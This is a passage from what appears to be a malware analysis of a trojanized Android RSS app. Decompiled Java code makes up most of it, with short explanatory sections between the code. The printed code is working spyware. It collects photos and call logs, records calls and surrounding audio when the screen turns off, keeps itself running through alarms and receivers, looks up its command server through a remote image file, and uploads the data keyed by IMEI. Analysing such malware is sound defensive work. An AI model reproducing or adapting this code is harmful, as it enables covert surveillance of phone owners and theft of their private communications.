return; | |
} | |
Log.e("Debug", "Server Response " + str); | |
} catch (IOException e2) { | |
ioex = e2; | |
dataInputStream2 = dataInputStream; | |
} catch (Exception e3) { | |
dataInputStream2 = dataInputStream; | |
} | |
} | |
} catch (IOException e4) { | |
ioe = e4; | |
try { | |
Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
Log.e("Debug", "Server Response " + str); | |
} else { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
} | |
} catch (Exception e5) { | |
Mal.findServer(); | |
return; | |
} | |
} | |
try { | |
dos.writeBytes(twoHyphens + boundary + lineEnd); | |
dos.writeBytes("Content-Disposition: form-data; name=\"upload\";filename=\"" + existingFileName + "\"" + lineEnd); | |
dos.writeBytes(lineEnd); | |
int bufferSize = Math.min(fileInputStream.available(), 1073741824); | |
byte[] buffer = new byte[bufferSize]; | |
int bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
while (bytesRead > 0) { | |
dos.write(buffer, 0, bufferSize); | |
bufferSize = Math.min(fileInputStream.available(), 1073741824); | |
bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
} | |
dos.writeBytes(lineEnd); | |
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); | |
Log.e("Debug", "File is written"); | |
fileInputStream.close(); | |
dos.flush(); | |
dos.close(); | |
dataOutputStream = dos; | |
} catch (MalformedURLException e6) { | |
ex = e6; | |
dataOutputStream = dos; | |
Log.e("Debug", "error: " + ex.getMessage(), ex); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
Log.e("Debug", "Server Response " + str); | |
} | |
} catch (IOException e7) { | |
ioe = e7; | |
dataOutputStream = dos; | |
Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
Log.e("Debug", "Server Response " + str); | |
} else { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
} | |
} catch (Exception e8) { | |
dataOutputStream = dos; | |
Mal.findServer(); | |
return; | |
} | |
try { | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
Log.e("Debug", "Server Response " + str); | |
} else { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
} | |
} catch (IOException e9) { | |
ioex = e9; | |
Log.e("Debug", "error: " + ioex.getMessage(), ioex); | |
} | |
} | |
public void getSentImages() { | |
for (File inFile : new File(Environment.getExternalStorageDirectory().toString() + "/DCIM/").listFiles()) { | |
if (inFile.isDirectory()) { | |
for (File SubinFile : inFile.listFiles()) { | |
if (!SubinFile.isDirectory()) { | |
try { | |
if ((SubinFile.getAbsolutePath().indexOf(".jpg") > 0 || SubinFile.getAbsolutePath().indexOf(".png") > 0) && SubinFile.getAbsolutePath().indexOf("thumbnails") < 0) { | |
Log.e("Image path", SubinFile.getAbsolutePath()); | |
this.ImagepathName.add(SubinFile.getAbsolutePath()); | |
this.ImagefileName.add(SubinFile.getName()); | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} | |
continue; | |
} else { | |
try { | |
if (inFile.getAbsolutePath().indexOf(".jpg") > 0 || inFile.getAbsolutePath().indexOf(".png") > 0) { | |
Log.e("Image path", inFile.getAbsolutePath()); | |
this.ImagepathName.add(inFile.getAbsolutePath()); | |
this.ImagefileName.add(inFile.getName()); | |
} | |
} catch (Exception e2) { | |
try { | |
e2.printStackTrace(); | |
} catch (Exception e3) { | |
return; | |
} | |
} | |
} | |
} | |
} | |
public void getSentAudios() { | |
try { | |
File[] AudioList = new File(Environment.getExternalStorageDirectory() + "/android/data/AndroidService").listFiles(); | |
System.out.println("Inside of getsetnAudio = " + AudioList.length); | |
if (AudioList.length > 0) { | |
for (int i = 0; i < AudioList.length; i++) { | |
Log.e("Image: " + i + ": path", AudioList[i].getAbsolutePath()); | |
this.AudiopathName.add(AudioList[i].getAbsolutePath()); | |
doAudioFileUpload(AudioList[i].getAbsolutePath().trim()); | |
this.AudiofileName.add(AudioList[i].getName()); | |
} | |
} | |
} catch (Exception e) { | |
} | |
} | |
} | |
public class MyReceiver extends BroadcastReceiver { | |
public void onReceive(Context context, Intent intent) { | |
for (RunningServiceInfo service : ((ActivityManager) context.getSystemService("activity")).getRunningServices(ActivityChooserViewAdapter.MAX_ACTIVITY_COUNT_UNLIMITED)) { | |
if (Mal.class.getName().equals(service.service.getClassName())) { | |
return; | |
} | |
} | |
context.startService(new Intent(context, Mal.class)); | |
} | |
} | |
public class OnAlarmReceiver extends BroadcastReceiver { | |
public void onReceive(Context context, Intent intent) { | |
try { | |
Intent s = new Intent(context, AppService.class); | |
s.addFlags(335544320); | |
context.startService(s); | |
} catch (Exception e) { | |
Log.e("My Error OnAlarmReceiver ", e.toString()); | |
} | |
} | |
} | |
public class AlarmReceiver extends BroadcastReceiver { | |
private static final int ALARM_REQUEST_CODE = 1001; | |
private static final String TAG = "AlarmReceiver"; | |
public void onReceive(Context context, Intent intent) { | |
WakeLock wl = ((PowerManager) context.getSystemService("power")).newWakeLock(1, ""); | |
wl.acquire(); | |
Log.e(TAG, "onReceive: AlarmReceiver !!!!!!!!!!"); | |
Util.setTask(context, false); | |
boolean needToStartNewTask = false; | |
Log.e(TAG, "onReceive: " + MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().isTaskInProgress() + " " + MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().getTaskStartTime() + " " + System.currentTimeMillis()); | |
if (!MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().isTaskInProgress()) { | |
needToStartNewTask = true; | |
} else if (MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().getTaskStartTime() <= 0) { | |
needToStartNewTask = true; | |
} else if (MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().getTaskStartTime() - System.currentTimeMillis() < 600000) { | |
needToStartNewTask = true; | |
} | |
if (needToStartNewTask) { | |
context.startService(new Intent(context, TaskService.class)); | |
} else { | |
Log.e(TAG, "onReceive: no needToStartNewTask"); | |
} | |
wl.release(); | |
} | |
public void setAlarm(Context context, long triggerTime) { | |
Log.e(TAG, "setAlarm: "); | |
AlarmManager am = (AlarmManager) context.getSystemService(NotificationCompat.CATEGORY_ALARM); | |
PendingIntent pi = PendingIntent.getBroadcast(context, 1001, new Intent(context, AlarmReceiver.class), 134217728); | |
if (VERSION.SDK_INT >= 23) { | |
am.setExactAndAllowWhileIdle(0, triggerTime, pi); | |
} else if (VERSION.SDK_INT >= 19) { | |
am.setExact(0, triggerTime, pi); | |
} else { | |
am.set(0, triggerTime, pi); | |
} | |
} | |
public void cancelAlarm(Context context) { | |
((AlarmManager) context.getSystemService(NotificationCompat.CATEGORY_ALARM)).cancel(PendingIntent.getBroadcast(context, 1001, new Intent(context, AlarmReceiver.class), 0)); | |
} | |
} | |
Who’s the Boss?
A Trojan payload, like any typical spying agent, needs to receive orders and needs an endpoint to deliver the collected information.
As we previously discussed, the C&C server is the server that manages the Trojans. The Trojan in our case study is a payload in a legitimate Android app, but the C&C can typically manage payloads of other platforms like iPhone, PC, Mac, Smart TV, etc.
The C&C address might change in order to avoid detection activity or due to technical maintenance reasons.
One of the techniques of setting the C&C address is by the intermediate server.
The ‘androidupdaters.com/img.jpg’ image file contained inside 5.61.27.157, the IP address of the C&C server.
Code: findServer function at apaspy.iqual.appspy.Mal at the Trojanized ArabicRSS.apk – package com.alywa.arabic.name, version 3.4.1
public static Boolean findServer() { | |
Boolean valueOf; | |
Log.e("SERVER ADDRESS", "FINDING SERVER"); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
InputStream input = null; | |
HttpURLConnection connection = null; | |
if (3 <= null) { | |
return Boolean.valueOf(true); | |
} | |
try { | |
Log.e("SERVER ADDRESS", "TRYING TO FIND SERVER"); | |
connection = (HttpURLConnection) new URL("http://androidupdaters.com/img.jpg").openConnection(); | |
connection.connect(); | |
if (connection.getResponseCode() != Callback.DEFAULT_DRAG_ANIMATION_DURATION) { | |
Log.e("SERVER ADDRESS", connection.getResponseMessage()); | |
valueOf = Boolean.valueOf(false); | |
if (input != null) { | |
try { | |
input.close(); | |
} catch (IOException ignored) { | |
ignored.printStackTrace(); | |
} | |
} | |
if (connection == null) { | |
return valueOf; | |
} | |
connection.disconnect(); | |
return valueOf; | |
} | |
int fileLength = connection.getContentLength(); | |
input = connection.getInputStream(); | |
Log.e("SERVER ADDRESS", "FILE LENGTH: " + String.valueOf(fileLength)); | |
byte[] data = new byte[fileLength]; | |
while (true) { | |
int size = input.read(data); | |
if (size == -1) { | |
break; | |
} | |
baos.write(data, 0, size); | |
baos.flush(); | |
} | |
Matcher matcher = Pattern.compile("(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)").matcher(new String(Arrays.copyOfRange(baos.toByteArray(), fileLength - 15, fileLength))); | |
if (matcher.find()) { | |
Log.e("SERVER ADDRESS", "[" + matcher.group() + "]"); | |
Server_Domain = "http://" + matcher.group(); | |
valueOf = Boolean.valueOf(true); | |
if (input != null) { | |
try { | |
input.close(); | |
} catch (IOException e2) { | |
e2.printStackTrace(); | |
} | |
} | |
if (connection == null) { | |
return valueOf; | |
} | |
connection.disconnect(); | |
return valueOf; | |
} | |
Server_Domain = null; | |
valueOf = Boolean.valueOf(false); | |
if (input != null) { | |
try { | |
input.close(); | |
} catch (IOException e22) { | |
e22.printStackTrace(); | |
} | |
} | |
if (connection == null) { | |
return valueOf; | |
} | |
connection.disconnect(); | |
return valueOf; | |
} catch (Exception e) { | |
int imageAttempt = 3 - 1; | |
e.printStackTrace(); | |
valueOf = Boolean.valueOf(false); | |
if (input != null) { | |
try { | |
input.close(); | |
} catch (IOException ignored222) { | |
ignored222.printStackTrace(); | |
} | |
} | |
if (connection == null) { | |
return valueOf; | |
} | |
connection.disconnect(); | |
return valueOf; | |
} catch (Throwable th) { | |
if (input != null) { | |
try { | |
input.close(); | |
} catch (IOException e2222) { | |
e2222.printStackTrace(); | |
} | |
} | |
if (connection != null) { | |
connection.disconnect(); | |
} | |
} | |
} |
Once receiving the C&C address, the specific spying configuration is pulled from the server using the IMEI as the identifier.
String urlString = Mal.Server_Domain + “/spyMobile/upload.php?imei=” + imei;
Data Collection Management
Let us observe the call log monitor and call recording, as an example.
A PhoneStateListener implementation saves call log records to the local DB and manages the background recording service.
The main (simplified) collection behavior:
- A “phone state changed” event is received.
- If the phone is ringing or ‘CALL_STATE_OFFHOOK’ the ‘Record Service’, an Android Service that will utilize the MediaRecorder, is started.
- The recording size is limited to 30% of the total available space.
- If the phone state is idle then:
- The call duration, number, direction and date are saved to the local DB.
- The call recording will be stopped if it was not stopped by other means, like failure or exceeding the size limitation.
- The call recording file is split into smaller pieces.
- The call log and the audio recording files are sent to the server if an internet connection is available.
- If the data was successfully sent and accepted at the C&C the data is deleted from the local storage.
- If an internet connection is not available at the time of saving, another sending procedure of the collected data will be committed by the AppService (as described at the ‘Staying Alive’ section).
When the AppService queries the C&C for the status of the call log commands, it might get a command to send all the call logs that are on the device. The ‘send all’ command is typically sent when the Trojan is first executed. However, in the western world’s legal system, there might be a legal permission for monitoring a targeted person’s data and not to get all the past data. Since the Trojan is based on commercial spyware, it might be that the optional ‘send all’ is inherited from there.
Although it is wise to send big recording only while being connected to WiFi, we didn’t witness this behavior.
A plain surrounding recording (not phone calls) is performed for several seconds after the device screen is turned off.
Trojanized ArabicRSS.apk. package com.alywa.arabic.name, version 3.4.1, apaspy.iqual.appspy.CustomPhoneStateListener code
public class CustomPhoneStateListener extends PhoneStateListener { | |
private static final String AUDIO_RECORDER_FILE_EXT_3gp = ".3gpp"; | |
private static final String AUDIO_RECORDER_FOLDER = "android/data/AndroidService"; | |
static String NewFileName_record = null; | |
private static final int RECORDER_BPP = 16; | |
private static final int RECORDER_SAMPLERATE = 44100; | |
static Boolean check_stat = Boolean.valueOf(false); | |
static String deviceIMEI_phone_record = ""; | |
private long FileSize = 0; | |
Boolean Insert_to_db_calllog = Boolean.valueOf(true); | |
private int bufferSize = 0; | |
Boolean check_stat_stop = Boolean.valueOf(true); | |
Context context; | |
int number_stack_record = 20; | |
Thread sound; | |
public CustomPhoneStateListener(Context con) { | |
this.context = con; | |
System.out.println("inside of custome"); | |
} | |
public static void fetchNewCallLogs(Context context) { | |
try { | |
DatabaseHandlers databaseHandlers = new DatabaseHandlers(context); | |
String[] columns_calllog = new String[]{"Number", "Type", "Duration", "Time"}; | |
Cursor c = context.getContentResolver().query(Calls.CONTENT_URI, null, null, null, null); | |
if (c != null && c.moveToFirst()) { | |
while (!c.isAfterLast()) { | |
int _ID = c.getColumnIndex(RSSDatabase.ID); | |
int _NUMBER = c.getColumnIndex("number"); | |
int _DATE = c.getColumnIndex(SmsReceiver.DATE); | |
int _DURATION = c.getColumnIndex("duration"); | |
int _CALLTYPE = c.getColumnIndex(SmsReceiver.TYPE); | |
int _NAME = c.getColumnIndex("name"); | |
int _NUMBERTYPE = c.getColumnIndex("numbertype"); | |
int _NEW = c.getColumnIndex(RSSDatabase.NEW); | |
String id = c.getString(_ID); | |
String number = c.getString(_NUMBER); | |
String date = c.getString(_DATE); | |
String duration = c.getString(_DURATION); | |
String callType = ""; | |
switch (_CALLTYPE) { | |
case 1: | |
callType = "INCOMING"; | |
break; | |
case 2: | |
callType = "OUTGOING"; | |
break; | |
case 3: | |
callType = "MISSED"; | |
break; | |
} | |
if (callType == "") { | |
switch (_CALLTYPE) { | |
case 2: | |
callType = "OUTGOING"; | |
break; | |
case 3: | |
callType = "MISSED"; | |
break; | |
case 7: | |
callType = "INCOMING"; | |
break; | |
} | |
} | |
Long timestamp = Long.valueOf(Long.parseLong(date)); | |
Calendar calendar = Calendar.getInstance(); | |
calendar.setTimeInMillis(timestamp.longValue()); | |
System.out.println("tbl_CALL TIMING : " + calendar.getTime().toString()); | |
databaseHandlers = databaseHandlers; | |
databaseHandlers.Insert_table("tbl_CALL", columns_calllog, new String[]{number, callType, duration, callDate}); | |
c.moveToNext(); | |
} | |
} | |
databaseHandlers.close(); | |
} catch (Exception e) { | |
Log.e("My Error CustomPhoneStateListener fetchNewCallLogs Text Log 1", e.toString()); | |
} | |
} | |
public void onCallStateChanged(int state, String incomingNumber) { | |
try { | |
super.onCallStateChanged(state, incomingNumber); | |
ScreenReceiver.stopRecording(); | |
Log.d("CallRecorder", "PhoneListener::onCallStateChanged state:" + state + " incomingNumber:" + incomingNumber); | |
switch (state) { | |
case 0: | |
check_stat = Boolean.valueOf(false); | |
Log.d("CallRecorder", "CALL_STATE_IDLE, stoping recording"); | |
Boolean stopped = Boolean.valueOf(this.context.stopService(new Intent(this.context, RecordService.class))); | |
Log.i("CallRecorder", "stopService for RecordService returned " + stopped); | |
NewFileName_record = RecordService.NewFileName; | |
if (this.check_stat_stop.booleanValue() && stopped.booleanValue()) { | |
this.check_stat_stop = Boolean.valueOf(false); | |
if (stopped.booleanValue()) { | |
deleteTempFile(NewFileName_record); | |
} else { | |
upload_file(); | |
} | |
if (this.Insert_to_db_calllog.booleanValue()) { | |
this.Insert_to_db_calllog = Boolean.valueOf(false); | |
fetchNewCallLogs(this.context); | |
return; | |
} | |
return; | |
} | |
return; | |
case 1: | |
if (!check_stat.booleanValue()) { | |
this.check_stat_stop = Boolean.valueOf(true); | |
check_stat = Boolean.valueOf(true); | |
this.Insert_to_db_calllog = Boolean.valueOf(true); | |
Log.d("CallRecorder", "CALL_STATE_RINGING"); | |
this.context.startService(new Intent(this.context, RecordService.class)); | |
return; | |
} | |
return; | |
case 2: | |
try { | |
Thread.sleep(7000); | |
} catch (InterruptedException e) { | |
e.printStackTrace(); | |
} | |
if (!check_stat.booleanValue()) { | |
this.check_stat_stop = Boolean.valueOf(true); | |
check_stat = Boolean.valueOf(true); | |
this.Insert_to_db_calllog = Boolean.valueOf(true); | |
Log.d("CallRecorder", "CALL_STATE_OFFHOOK"); | |
this.context.startService(new Intent(this.context, RecordService.class)); | |
return; | |
} | |
return; | |
default: | |
return; | |
} | |
} catch (Exception e2) { | |
Log.e("My Error CustomPhoneStateListener onCallStateChanged Text Log 1", e2.toString()); | |
} | |
Log.e("My Error CustomPhoneStateListener onCallStateChanged Text Log 1", e2.toString()); | |
} | |
private void upload_file() { | |
try { | |
File file = new File(NewFileName_record); | |
String[] separated = NewFileName_record.split("/"); | |
String tmp_name = separated[separated.length - 1]; | |
if (file.exists()) { | |
this.FileSize = file.length(); | |
} | |
int counter_rec = 0; | |
if (this.FileSize <= 1000 || this.FileSize >= 11585760) { | |
System.out.println("Do Not Upload"); | |
deleteTempFile(NewFileName_record); | |
return; | |
} | |
long AvailableSize = Long.parseLong(Mal.getAvailableExternalMemorySize()); | |
long TotalSize = Long.parseLong(Mal.getTotalExternalMemorySize()); | |
if ((30 * AvailableSize) / 100 > AvailableSize) { | |
String tmp_file_name = ""; | |
String tmp_file_name_first = ""; | |
long tmp_sort_2 = 0; | |
for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) { | |
if (f.isFile()) { | |
String[] tmp_split = f.toString().split("/"); | |
String tmp2 = tmp_split[tmp_split.length - 1]; | |
tmp_file_name = tmp2.substring(0, tmp2.length() - 5); | |
if (tmp_file_name.length() > 14) { | |
tmp_file_name = tmp_file_name.substring(0, 13); | |
} | |
long tmp_sort = Long.valueOf(tmp_file_name).longValue(); | |
if (counter_rec <= 0) { | |
tmp_sort_2 = tmp_sort; | |
tmp_file_name_first = f.toString(); | |
} else if (tmp_sort_2 > tmp_sort) { | |
tmp_file_name_first = f.toString(); | |
tmp_sort_2 = tmp_sort; | |
} | |
counter_rec++; | |
} | |
} | |
if (counter_rec > 5) { | |
deleteTempFile(tmp_file_name_first); | |
} | |
} | |
if ((30 * AvailableSize) / 100 <= AvailableSize || counter_rec < 5) { | |
System.out.println("Start Upload"); | |
new Thread(new Runnable() { | |
public void run() { | |
try { | |
if (CustomPhoneStateListener.deviceIMEI_phone_record != "") { | |
CustomPhoneStateListener.upload_all_file_and_delete(); | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
}).start(); | |
} | |
} catch (Exception e) { | |
System.out.println("Error in stop recording stopRecording2= " + e.toString()); | |
} | |
} | |
public static void upload_all_file_and_delete() { | |
try { | |
for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) { | |
if (f.isFile()) { | |
if (NewFileName_record.indexOf(f.toString()) == -1) { | |
sendAudioDataRecord(f.toString()); | |
if (doAudioFileUpload(f.toString())) { | |
deleteTempFile(f.toString()); | |
} | |
} else if (!check_stat.booleanValue()) { | |
sendAudioDataRecord(f.toString()); | |
if (doAudioFileUpload(f.toString())) { | |
deleteTempFile(f.toString()); | |
} | |
} | |
} | |
} | |
} catch (Exception exp) { | |
Log.e("Error upload_all_file_and_delete On CustomPhoneStateListener", exp.getMessage()); | |
} | |
} | |
public int CheckConnection() { | |
try { | |
NetworkInfo activeNetwork = ((ConnectivityManager) this.context.getSystemService("connectivity")).getActiveNetworkInfo(); | |
if (activeNetwork == null || activeNetwork.getState() != State.CONNECTED) { | |
return 0; | |
} | |
return 1; | |
} catch (Exception e) { | |
System.out.println("Error = " + e.toString()); | |
return 0; | |
} | |
} | |
public static String sendAudioDataRecord(String filename_sendAudioDataRecord) { | |
deviceIMEI_phone_record = AppService.deviceIMEI; | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
String url = Mal.Server_Domain + "/spyMobile/api_recordcall.php"; | |
if (!url.endsWith("?")) { | |
url = url + "?"; | |
} | |
List<NameValuePair> params = new LinkedList(); | |
params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record)); | |
params.add(new BasicNameValuePair("reccallname", filename_sendAudioDataRecord)); | |
url = url + URLEncodedUtils.format(params, "utf-8"); | |
Log.d("Send Audio Details ", url); | |
try { | |
result = convertStreamToString(httpClient.execute(new HttpGet(url)).getEntity().getContent()); | |
} catch (IllegalStateException e) { | |
e.printStackTrace(); | |
} catch (IOException e2) { | |
e2.printStackTrace(); | |
} | |
} catch (Exception e3) { | |
Mal.findServer(); | |
} | |
return result; | |
} | |
public static boolean doAudioFileUpload(String path) { | |
DataInputStream dataInputStream; | |
Throwable ioex; | |
Exception e; | |
DataOutputStream dataOutputStream; | |
MalformedURLException ex; | |
Throwable ioe; | |
String existingFileName2 = ""; | |
existingFileName2 = path; | |
try { | |
System.out.println("Inside of doupload nd path = " + path); | |
String lineEnd2 = "\r\n"; | |
String twoHyphens2 = "--"; | |
String boundary2 = "*****"; | |
String responseFromServer2 = ""; | |
String urlString2 = Mal.Server_Domain + "/spyMobile/recordcall_upload.php"; | |
if (!urlString2.endsWith("?")) { | |
urlString2 = urlString2 + "?"; | |
} | |
List<NameValuePair> params = new LinkedList(); | |
params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record)); | |
urlString2 = urlString2 + URLEncodedUtils.format(params, "utf-8"); | |
try { | |
FileInputStream fileInputStream2 = new FileInputStream(new File(existingFileName2)); | |
HttpURLConnection conn2 = (HttpURLConnection) new URL(urlString2).openConnection(); | |
conn2.setDoInput(true); | |
conn2.setDoOutput(true); | |
conn2.setUseCaches(false); | |
conn2.setRequestMethod("POST"); | |
conn2.setRequestProperty("Connection", "Keep-Alive"); | |
conn2.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary2); | |
DataOutputStream dos2 = new DataOutputStream(conn2.getOutputStream()); | |
try { | |
dos2.writeBytes(twoHyphens2 + boundary2 + lineEnd2); | |
dos2.writeBytes("Content-Disposition: form-data; name=\"upload\";filename=\"" + existingFileName2 + "\"" + lineEnd2); | |
dos2.writeBytes(lineEnd2); | |
int bufferSize2 = Math.min(fileInputStream2.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
byte[] buffer2 = new byte[bufferSize2]; | |
int bytesRead2 = fileInputStream2.read(buffer2, 0, bufferSize2); | |
while (bytesRead2 > 0) { | |
dos2.write(buffer2, 0, bufferSize2); | |
bufferSize2 = Math.min(fileInputStream2.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
bytesRead2 = fileInputStream2.read(buffer2, 0, bufferSize2); | |
} | |
dos2.writeBytes(lineEnd2); | |
dos2.writeBytes(twoHyphens2 + boundary2 + twoHyphens2 + lineEnd2); | |
Log.e("Debug", "File is written"); | |
fileInputStream2.close(); | |
dos2.flush(); | |
dos2.close(); | |
try { | |
DataInputStream dataInputStream2 = new DataInputStream(conn2.getInputStream()); | |
while (true) { | |
try { | |
String str2 = dataInputStream2.readLine(); | |
if (str2 != null) { | |
Log.e("Debug", "Server Response " + str2); | |
} else { | |
dataInputStream2.close(); | |
new File(existingFileName2).delete(); | |
Thread.currentThread().interrupt(); | |
dataInputStream = dataInputStream2; | |
return true; | |
} | |
} catch (IOException e2) { | |
ioex = e2; | |
dataInputStream = dataInputStream2; | |
} catch (Exception e3) { | |
e = e3; | |
dataInputStream = dataInputStream2; | |
dataOutputStream = dos2; | |
} | |
} | |
} catch (IOException e4) { | |
ioex = e4; | |
try { | |
Log.e("Debug", "error: " + ioex.getMessage(), ioex); | |
new File(existingFileName2).delete(); | |
Thread.currentThread().interrupt(); | |
return false; | |
} catch (Exception e5) { | |
e = e5; | |
dataOutputStream = dos2; | |
Mal.findServer(); | |
e.printStackTrace(); | |
new File(existingFileName2).delete(); | |
Thread.currentThread().interrupt(); | |
return false; | |
} | |
} | |
} catch (MalformedURLException e6) { | |
ex = e6; | |
dataOutputStream = dos2; | |
Log.e("Debug", "error: " + ex.getMessage(), ex); | |
return false; | |
} catch (IOException e7) { | |
ioe = e7; | |
dataOutputStream = dos2; | |
Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
return false; | |
} | |
} catch (MalformedURLException e8) { | |
ex = e8; | |
Log.e("Debug", "error: " + ex.getMessage(), ex); | |
return false; | |
} catch (IOException e9) { | |
ioe = e9; | |
Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
return false; | |
} | |
} catch (Exception e10) { | |
e = e10; | |
Mal.findServer(); | |
e.printStackTrace(); | |
new File(existingFileName2).delete(); | |
Thread.currentThread().interrupt(); | |
return false; | |
} | |
} | |
private static void deleteTempFile(String DelPath) { | |
try { | |
new File(DelPath).delete(); | |
} catch (Exception e) { | |
Log.e("My Error CustomPhoneStateListener deleteTempFile Text Log 1", e.toString()); | |
} | |
} | |
} | |
Trojanized ArabicRSS.apk. package com.alywa.arabic.name, version 3.4.1, apaspy.iqual.appspy.RecordService and ScreenReceiver code
public class RecordService extends Service implements OnInfoListener, OnErrorListener { | |
private static final String AUDIO_RECORDER_FILE_EXT_3gp = ".3gpp"; | |
private static final String AUDIO_RECORDER_FOLDER = "android/data/AndroidService"; | |
public static String NewFileName = ""; | |
private static final int RECORDING_NOTIFICATION_ID = 1; | |
private static final String TAG = "CallRecorder"; | |
private boolean isRecording = false; | |
private MediaRecorder recorder = null; | |
private File recording = null; | |
private File makeOutputFile() { | |
File file = null; | |
File dir = new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER); | |
if (!dir.exists()) { | |
try { | |
dir.mkdirs(); | |
} catch (Exception e) { | |
Log.e(TAG, "RecordService::makeOutputFile unable to create directory " + dir + ": " + e); | |
} | |
} else if (!dir.canWrite()) { | |
Log.e(TAG, "RecordService::makeOutputFile does not have write permission for directory: " + dir); | |
return file; | |
} | |
String suffix = AUDIO_RECORDER_FILE_EXT_3gp; | |
String prefix = Long.toString(System.currentTimeMillis()); | |
NewFileName = dir + "/" + prefix + suffix; | |
try { | |
file = File.createTempFile(prefix, suffix, dir); | |
} catch (IOException e2) { | |
Log.e(TAG, "RecordService::makeOutputFile unable to create temp file in " + dir + ": " + e2); | |
} | |
return file; | |
} | |
public void onCreate() { | |
super.onCreate(); | |
try { | |
this.recorder = new MediaRecorder(); | |
Log.i(TAG, "onCreate created MediaRecorder object"); | |
} catch (Exception e) { | |
Log.e("My Error RecordService onCreate Text Log 1", e.toString()); | |
} | |
} | |
public void onStart(Intent intent, int startId) { | |
Log.i(TAG, "RecordService::onStartCommand called while isRecording:" + this.isRecording); | |
if (!this.isRecording) { | |
this.recording = makeOutputFile(); | |
if (this.recording == null) { | |
this.recorder = null; | |
return; | |
} | |
Log.i(TAG, "RecordService will config MediaRecorder with audiosource: 4 audioformat: 1"); | |
try { | |
this.recorder.reset(); | |
this.recorder.setAudioSource(4); | |
Log.d(TAG, "set audiosource 4"); | |
this.recorder.setOutputFormat(1); | |
Log.d(TAG, "set output 1"); | |
this.recorder.setAudioEncoder(0); | |
Log.d(TAG, "set encoder default"); | |
this.recorder.setOutputFile(this.recording.getAbsolutePath()); | |
Log.d(TAG, "set file: " + this.recording); | |
this.recorder.setOnInfoListener(this); | |
this.recorder.setOnErrorListener(this); | |
try { | |
this.recorder.prepare(); | |
Log.d(TAG, "recorder.prepare() returned"); | |
this.recorder.start(); | |
this.isRecording = true; | |
Log.i(TAG, "recorder.start() returned"); | |
} catch (IOException e) { | |
Log.e(TAG, "RecordService::onStart() IOException attempting recorder.prepare()\n"); | |
this.recorder = null; | |
} | |
} catch (Exception e2) { | |
Log.e(TAG, "RecordService::onStart caught unexpected exception", e2); | |
this.recorder = null; | |
} | |
} | |
} | |
public void onDestroy() { | |
super.onDestroy(); | |
try { | |
if (this.recorder != null) { | |
Log.i(TAG, "RecordService::onDestroy calling recorder.release()"); | |
this.isRecording = false; | |
this.recorder.release(); | |
} | |
} catch (Exception e) { | |
Log.e("My Error RecordService onDestroy Text Log 1", e.toString()); | |
} | |
} | |
public IBinder onBind(Intent intent) { | |
return null; | |
} | |
public boolean onUnbind(Intent intent) { | |
return false; | |
} | |
public void onRebind(Intent intent) { | |
} | |
public void onInfo(MediaRecorder mr, int what, int extra) { | |
Log.i(TAG, "RecordService got MediaRecorder onInfo callback with what: " + what + " extra: " + extra); | |
this.isRecording = false; | |
} | |
public void onError(MediaRecorder mr, int what, int extra) { | |
try { | |
Log.e(TAG, "RecordService got MediaRecorder onError callback with what: " + what + " extra: " + extra); | |
this.isRecording = false; | |
mr.release(); | |
} catch (Exception e) { | |
Log.e("My Error RecordService onError Text Log 1", e.toString()); | |
} | |
} | |
} | |
public class ScreenReceiver extends BroadcastReceiver { | |
private static final String AUDIO_RECORDER_FILE_EXT_3gp = ".3gpp"; | |
private static final String AUDIO_RECORDER_FOLDER = "android/data/AndroidService"; | |
private static String Last_record_file_name = ""; | |
private static final int RECORDER_AUDIO_ENCODING = 2; | |
private static final int RECORDER_BPP = 16; | |
private static final int RECORDER_CHANNELS = 12; | |
private static final int RECORDER_SAMPLERATE = 44100; | |
private static Boolean check_start_record = Boolean.valueOf(false); | |
private static Boolean check_stop_record = Boolean.valueOf(true); | |
static String deviceIMEI_phone_record; | |
private static MediaRecorder myRecorder = null; | |
static int number_stack_record = 20; | |
public static boolean startup; | |
public static boolean wasScreenOn = true; | |
private long FileSize = 0; | |
String NewFileName; | |
private int bufferSize = 0; | |
private boolean isRecording = false; | |
private AudioRecord recorder = null; | |
private Thread recordingThread = null; | |
Thread sound; | |
String tmp_name; | |
public void onReceive(Context context, Intent intent) { | |
